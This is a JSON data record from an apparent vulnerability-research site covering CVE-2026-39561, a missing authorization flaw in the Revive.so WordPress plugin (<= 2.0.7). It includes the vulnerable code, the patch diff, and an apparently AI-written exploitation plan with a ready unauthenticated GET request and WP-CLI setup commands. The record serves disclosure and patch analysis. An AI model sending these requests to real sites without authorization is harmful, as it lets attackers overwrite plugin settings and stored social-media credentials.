[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIwErBecVLSl6EAGgxY7xAO0Cqi9Wxsn4f9OU4DOwEKc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-39561","reviveso-missing-authorization-2","Revive.so \u003C= 2.0.7 - Missing Authorization","The Revive.so plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.0.7. This makes it possible for unauthenticated attackers to perform an unauthorized action.","revive-so",null,"\u003C=2.0.7","2.0.8","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-12 00:00:00","2026-04-15 21:29:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8a98c966-8a3c-4af8-af98-e16104e59726?source=api-prod",35,[22,23,24],"includes\u002Fimport\u002Fclass-revive-import.php","readme.txt","revive-so.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-39561\n\n## 1. Vulnerability Summary\nThe **Revive.so** plugin (versions \u003C= 2.0.7) contains a missing authorization vulnerability within its settings import logic. Specifically, the function `REVIVESO_Pro_Settings_Importer::import_settings()` is hooked to `admin_init` but lacks any capability checks (`current_user_can`) or CSRF protection (nonces). \n\nSince `admin_init` is triggered when accessing administrative files like `wp-admin\u002Fadmin-post.php` or `wp-admin\u002Fadmin-ajax.php`—even by unauthenticated users—an attacker can force the plugin to overwrite its current configuration and social media credentials with data from the legacy \"RevivePress\" plugin options, if they exist in the database.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-post.php` (or any admin page that triggers `admin_init`).\n- **HTTP Method**: `GET`\n- **Vulnerable Parameter**: `revs_import=revivepress`\n- **Authentication**: Unauthenticated (None).\n- **Preconditions**: The WordPress option `wpar_plugin_settings` must exist in the database (simulating a prior installation of the RevivePress plugin).\n\n## 3. Code Flow\n1. **Entry Point**: A request is made to `\u002Fwp-admin\u002Fadmin-post.php?revs_import=revivepress`.\n2. **Hook Execution**: WordPress loads and triggers the `admin_init` hook.\n3. **Target Function**: `REVIVESO_Pro_Settings_Importer::import_settings()` (registered in `includes\u002Fimport\u002Fclass-revive-import.php` via `add_action( 'admin_init', array( $this, 'import_settings' ), 50 );`) is executed.\n4. **Conditional Check**: The function checks `get_option('wpar_plugin_settings')` and if `$_GET['revs_import'] == 'revivepress'`.\n5. **Unauthorized Sink**: If conditions are met, the function performs multiple `update_option()` calls, including:\n    - `update_option('reviveso_plugin_settings', ...)`\n    - `update_option('reviveso_social_credentials', ...)`\n    - `update_option('reviveso_facebook_accounts_db', ...)`\n    - Overwrites `reviveso_show_import_notice` to `0`.\n6. **Termination**: The function issues a `header(\"Location: ...\")` and calls `exit()`.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe vulnerable function `import_settings()` in `includes\u002Fimport\u002Fclass-revive-import.php` does not implement `check_admin_referer` or any other nonce verification. It relies solely on the presence of the `revs_import` GET parameter.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that an unauthenticated request can modify plugin options.\n\n### Step-by-Step Plan:\n1. **Setup**: Use WP-CLI to seed the database with \"RevivePress\" settings to simulate an upgrade scenario.\n2. **Execute Exploit**: Use `http_request` to send an unauthenticated GET request to the target site.\n3. **Confirmation**: Use WP-CLI to verify that the `reviveso_plugin_settings` option now contains the data from the seeded `wpar_plugin_settings`.\n\n### Payload (HTTP Request):\n```http\nGET \u002Fwp-admin\u002Fadmin-post.php?revs_import=revivepress HTTP\u002F1.1\nHost: TARGET_HOST\nUser-Agent: Mozilla\u002F5.0\nConnection: close\n```\n\n## 6. Test Data Setup\nTo trigger the vulnerable code path, the `wpar_plugin_settings` option must be present. Run the following via the agent's command line:\n\n```bash\n# Seed the source option (legacy plugin settings)\nwp option add wpar_plugin_settings '{\"wpar_test_key\":\"vulnerable_value\"}' --format=json\n\n# Ensure the destination option is either empty or different\nwp option delete reviveso_plugin_settings || true\n\n# Set the notice to shown (1) to verify it gets dismissed\nwp option update reviveso_show_import_notice 1\n```\n\n## 7. Expected Results\n- The HTTP request should return a `301` or `302` redirect (to the login page or admin page).\n- The option `reviveso_plugin_settings` will be created\u002Fupdated.\n- The key `reiveveso_test_key` (note the typo in the source: `reiveveso`) will exist in the updated option with the value `\"vulnerable_value\"`.\n- The option `reviveso_show_import_notice` will be changed to `0`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the changes using WP-CLI:\n\n```bash\n# Verify the settings were imported\nwp option get reviveso_plugin_settings --format=json\n\n# Verify the notice was dismissed\nwp option get reviveso_show_import_notice\n```\n\n## 9. Alternative Approaches\nIf `\u002Fwp-admin\u002Fadmin-post.php` is blocked or behaves unexpectedly, any other admin URL can be used as a trigger, as long as it fires `admin_init`:\n- `\u002Fwp-admin\u002Fadmin-ajax.php?revs_import=revivepress`\n- `\u002Fwp-admin\u002Findex.php?revs_import=revivepress` (Note: unauthenticated access to `index.php` will usually redirect to login, but `admin_init` may still fire before the redirect logic in some configurations). \n\nThe most reliable unauthenticated triggers for `admin_init` are `admin-post.php` and `admin-ajax.php`.","The Revive.so plugin for WordPress (\u003C= 2.0.7) is vulnerable to unauthorized settings modification because it lacks capability checks and CSRF protection on its settings import logic. An unauthenticated attacker can force the plugin to overwrite its configuration and social media credentials with data from legacy 'RevivePress' settings by triggering the `admin_init` hook via a specifically crafted request.","\u002F\u002F includes\u002Fimport\u002Fclass-revive-import.php:84\n\tpublic function import_settings(){\n\t\n        $revivepress_settings = get_option('wpar_plugin_settings');\n        $action = ( isset( $_GET['revs_import'] ) && 'revivepress' == $_GET['revs_import'] ) ? true : false;\n        $new_settings = array();\n        if( $revivepress_settings && $action ){\n\n            foreach( $revivepress_settings as $key => $setting ){\n                $new_key = str_replace('wpar', 'reiveveso', $key );\n                $new_settings[$new_key] = $setting;\n            }\n\n            update_option('reviveso_plugin_settings', $new_settings );\n\n            $social    = get_option( 'wpar_social_credentials', false );\n            $facebook  = get_option( 'wpar_facebook_accounts_db', false );\n            $linkedin  = get_option( 'wpar_linkedin_accounts_db', false );\n            $pinterest = get_option( 'wpar_pinterest_accounts_db', false );\n            $twitter   = get_option( 'wpar_twitter_accounts_db', false );\n            $tumblr    = get_option( 'wpar_tumblr_accounts_db', false );\n\n            if( $social ){\n                update_option( 'reviveso_social_credentials', $social );\n            }\n            \n            if( $facebook ){\n                update_option( 'reviveso_facebook_accounts_db', $facebook );\n            }\n        \n            if( $linkedin ){\n                update_option( 'reviveso_linkedin_accounts_db', $linkedin );\n            }\n        \n            if( $pinterest ){\n                update_option( 'reviveso_pinterest_accounts_db', $pinterest );\n            }\n        \n            if( $twitter ){\n                update_option( 'reviveso_twitter_accounts_db', $twitter );\n            }\n        \n            if( $tumblr ){\n                update_option( 'reviveso_tumblr_accounts_db', $tumblr );\n            }\n\n            update_option('reviveso_show_import_notice', 0 );\n            \n            header(\"Location: \" . add_query_arg( array( 'page' => 'reviveso'), admin_url('admin.php') ) , TRUE, 301);\n            exit();\n        }\n\t}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frevive-so\u002F2.0.7\u002Fincludes\u002Fimport\u002Fclass-revive-import.php\t2025-06-25 10:01:30.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frevive-so\u002F2.0.8\u002Fincludes\u002Fimport\u002Fclass-revive-import.php\t2026-03-04 12:26:58.000000000 +0000\n@@ -32,7 +32,7 @@\n \n \t\t$revivepress_settings = get_option( 'wpar_plugin_settings', false );\n \t\t$import_notice        = get_option( 'reviveso_show_import_notice', 1 );\n-        $url = add_query_arg( array( 'revs_import' => 'revivepress'), admin_url('admin.php') );\n+        $url = wp_nonce_url( add_query_arg( array( 'revs_import' => 'revivepress' ), admin_url( 'admin.php' ) ), 'reviveso_import_settings' );\n \t\tif ( $revivepress_settings && $import_notice ) {\n \t\t\tif ( REVIVESO_Admin::is_reviveso_admin_page() ) {\n \t\t\t\t?>\n@@ -81,12 +81,20 @@\n \t\t}\n \t}\n \n-\tpublic function import_settings(){\n-\t\n-        $revivepress_settings = get_option('wpar_plugin_settings');\n-        $action = ( isset( $_GET['revs_import'] ) && 'revivepress' == $_GET['revs_import'] ) ? true : false;\n-        $new_settings = array();\n-        if( $revivepress_settings && $action ){\n+\tpublic function import_settings() {\n+\n+\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tif ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'reviveso_import_settings' ) ) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\t$revivepress_settings = get_option( 'wpar_plugin_settings' );\n+\t\t$action               = ( isset( $_GET['revs_import'] ) && 'revivepress' === $_GET['revs_import'] ) ? true : false;\n+\t\t$new_settings         = array();\n+\t\tif ( $revivepress_settings && $action ) {\n \n             foreach( $revivepress_settings as $key => $setting ){\n                 $new_key = str_replace('wpar', 'reiveveso', $key );","An attacker sends an unauthenticated GET request to an administrative endpoint that triggers the admin_init hook (e.g., \u002Fwp-admin\u002Fadmin-post.php?revs_import=revivepress). Because the vulnerable function lacks current_user_can() authorization and nonce verification, it proceeds to check for the existence of the 'wpar_plugin_settings' WordPress option. If present, the plugin automatically imports these legacy settings, overwriting the current Revive.so plugin configuration, social credentials for multiple platforms (Facebook, LinkedIn, etc.), and dismissing the import notice.","gemini-3-flash-preview","2026-04-18 04:11:18","2026-04-18 04:12:07",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.0.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frevive-so\u002Ftags\u002F2.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frevive-so.2.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frevive-so\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frevive-so.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frevive-so\u002Ftags"]